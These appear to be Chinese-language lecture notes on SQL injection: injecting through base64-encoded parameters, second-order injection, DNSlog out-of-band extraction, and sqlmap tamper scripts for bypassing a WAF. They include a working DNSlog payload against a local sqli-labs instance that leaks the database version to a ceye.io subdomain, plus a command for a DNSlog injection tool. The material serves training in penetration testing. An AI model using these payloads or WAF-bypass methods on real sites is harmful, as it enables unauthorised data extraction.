%3D是等号
值在带入数据库之前是有一个解码的操作,明文在解码的时候,就会出现问题,进而影响到语句;密文和明文在一起,这种网站后台是识别不了的;只能通过明文加密,后台在解密,网站才能识别。
当我们判断网站是通过加解密进行数据处理,那我们在注入的时候,也要按照加密模式再去测试注入点
有时候,我们很多注入点找不到或者很多东西看不懂,其实是因为我们掌握的知识点很少,不能去举一反三
加解密注入,第一点,你要能够判定出对方的参数;第二点,对方的加密形式;一般常用的是base64,同样的也可能采取其它的加密方式,如果能解密出来,就能进行下一步,如果解密不出来,那就没办法。
加解密这种东西,不仅仅是在我们的sql注入,在各种漏洞测试里,基本上都有。
一般网站为了安全,会写它自定义的加密算法,如果逆向不出来的话,那就算有注入漏洞,也无法攻击
无法通过扫描工具和手工能够测试出来的,二次注入一般会出现在我们的代码审计里面。
把恶意的SQL语句插入到数据库里面去,网站引用恶意的SQL语句,这就是二次注入漏洞。
在过程中插入数据之后,我们在黑盒测试的时候,关靠扫描工具或人工的去判断,我们是不知道应该插入什么东西,或者说,我们即使知道插入什么东西,我们也不知道如何去触发这个漏洞
二次注入一般是建立在白盒,我们才能分析到,所以这是我们的一个特点,通过扫描工具去发现这是不可能的
二次注入一般产生在数据互联的地方,我们注册一个账号之后,我们需要用这个账号登录,同样的道理,我们可以去修改账号的密码,在这个过程当中会有账号的信息被重复调用,例如用户名
实战情况下,用户名可能会有长度限制,长度限制会有两种情况,一种是前端的长度限制,还有一种是后端的长度限制;如果说限制是后端的,那我们是没办法突破,前端的是可以突破的。
限制是写到html代码里面的,就是前端限制,可以在html代码里面直接改
后端会接受你的用户名,在后端代码里面进行校验,看你的长度有没有超过限制,然后在做处理。
只有去看它后端的数据,有没有长度限制,如果没有的话,就是前端的长度限制
二次注入的危害,不只是爆密码,那只是简单的演示,它的危害跟SQL注入的危害是一样的
二次注入是我们通过扫描工具和人工判断不出来的,扫描工具会把注入语句写到数据库里面来,但是它不会去二次测试这个注入语句会在那个地方测试出来,它不会像人工一样去思考这个问题。扫描工具无非是你展示出来的东西,我去测试一遍,它不会去检测在那里触发
如果有人去写这个工具,那这个工具会很复杂,没有人会去用它,因为大家对扫描工具是要求简单,那样写,任务会更多,明显速度各方面都会下降
没有代码没有这些信息,你是无法去探测到二次注入的,所以二次注入普遍产生在代码层面,不可能是我们扫描工具和人工探测出来的
我们在网上会看到很多文章,我们不要去看文章的表面现象,我们一定要去深入学习这个漏洞之后,发现对我们到底有没有用处;有时候网上的文章是写的很好,没听说过感觉是一个新的理念,但不是这样的
一般大家梳理的漏洞和攻击方式,说明这些漏洞和攻击方式,在实际当中是比较贴近实际应用的,就会吵的火热;如果一个东西,你都没有听说过,脑袋一只半解的,不是说这个漏洞厉害、难懂、难学,更重要的原因是这个漏洞没有多大的用处。
注入原理,演示案例,实际应用 (中转注入)
条件:需要对方的注入点是高权限,如果是mysql的话,就是root权限,因为这里会涉及到一个文件读取;dnslog注入需要一个文件读取的操作权限才能进行
我都能进行文件读写的操作了,即使进行了文件读写,你的后门也不一定会写上去。
在后续的渗透测试过程中,我们会发现,你即使后门传上去,不见得就会连上去,因为还会有各种各样的问题,但是这个问题出现的机率也不会很高,我们从后门传上去的脚本,它不解析,传到后门,它也无法连接。所以这个时候,我们还是需要回到注入点去看一下其它的东西。这就是dnslog注入鸡肋的地方,因为它有很多东西都自相矛盾、需要高权限,很多注入点都没有高权限,这个注入就无法应用了。
http://ceye.io/
注册账号并登录,获取dns地址和API token。我们手工注入只需要用到它。
我们可以根据dns query 来查看访问情况,这个操作是非常复杂的,网上是由一款工具,它仅仅支持DNSlog注入。
https://github.com/ADOOO/DnslogSqlinj
在config文件里面配置一下API token、DNSurl
DNSlog:解决了盲注不能回显数据,效率低的问题。
这个意思告诉我们,盲注有可能也不会有回显,当我们采取盲注的时候,还是不能够获取数据,这个时候dnslog注入就有用处了。
不用再去看网上的文章,有些文章你看了也看不懂,有些看了也是那些东西,不用老想着网上的那些东西
http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_ file(concat('\\\\',(select version()),'.1t7i2f.ceye.io\\abc'))),1,0)--+
D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1' and ({})--+"
注入点的值需要单引号,我们就加一个单引号;需要过滤的就写–+;注入代码写到({})里面来
我们把原有的参数值还原,在注入的工具里面,加载一个加密插件,把注入语句用base64加密,SQLmap是有这个东西的。
sqlmap里有一个–tamper这个功能,里面有很多脚本可以用来绕过WAF,如果说里面的脚本满足不了我们的需求,我们可以进行二次开发
中转注入:在注入过程当中,把注入参数中转一下,然后再发送到指定的地址上面去
以后我们碰到加解密注入的时候,如果我们没有插件,我们可以选择开发插件或者采用中转去操作它
在sqlmap里面的tamper插件库,你如果说懂python,二次开发是没有问题的,或者我们自己去写个插件放在里面也可以直接去引用的,比如安全狗的,写个sqldog.py,那就是根据安全狗的绕过规则写个py文件到里面去,我们就可以根据sqlmap对目标进行工具上的注入并且绕过安全狗。这些都是可以放进去实现的,但是前提条件是大家懂这个python,会写。把规则了解清楚,把这些绕过的东西写好,在用python帮我们实现。